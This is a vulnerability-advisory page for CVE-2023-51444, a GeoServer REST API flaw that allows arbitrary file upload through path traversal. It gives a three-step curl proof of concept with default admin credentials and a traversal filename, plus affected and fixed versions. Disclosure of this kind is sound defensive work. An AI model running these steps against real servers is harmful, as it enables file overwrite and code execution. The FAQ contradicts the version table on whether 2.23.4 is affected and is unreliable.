7.2
CWE
20 434 22
Advisory Published
CVE Published
Updated

CVE-2023-51444: GeoServer arbitrary file upload vulnerability in REST Coverage Store API

First published: Wed Mar 20 2024(Updated: )

### Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution. ### Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal. ### PoC Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory). ### Impact This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges. ### References https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
maven/org.geoserver:gs-restconfig=2.24.0
2.24.1
maven/org.geoserver:gs-platform=2.24.0
2.24.1
maven/org.geoserver:gs-restconfig<2.23.4
2.23.4
maven/org.geoserver:gs-platform<2.23.4
2.23.4
OSGeo GeoServer<2.23.4
OSGeo GeoServer=2.24.0

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the severity of CVE-2023-51444?

    CVE-2023-51444 is considered a high-severity vulnerability due to its potential to enable remote code execution.

  • How do I fix CVE-2023-51444?

    To fix CVE-2023-51444, upgrade to version 2.24.1 or higher of the affected GeoServer packages.

  • Which versions of GeoServer are affected by CVE-2023-51444?

    Versions 2.24.0 and 2.23.4 of GeoServer are affected by CVE-2023-51444.

  • What type of vulnerability is CVE-2023-51444?

    CVE-2023-51444 is an arbitrary file upload vulnerability that can lead to remote code execution.

  • Who is affected by CVE-2023-51444?

    Authenticated administrators with permissions to modify coverage stores via the REST Coverage Store API are affected by CVE-2023-51444.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2025 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203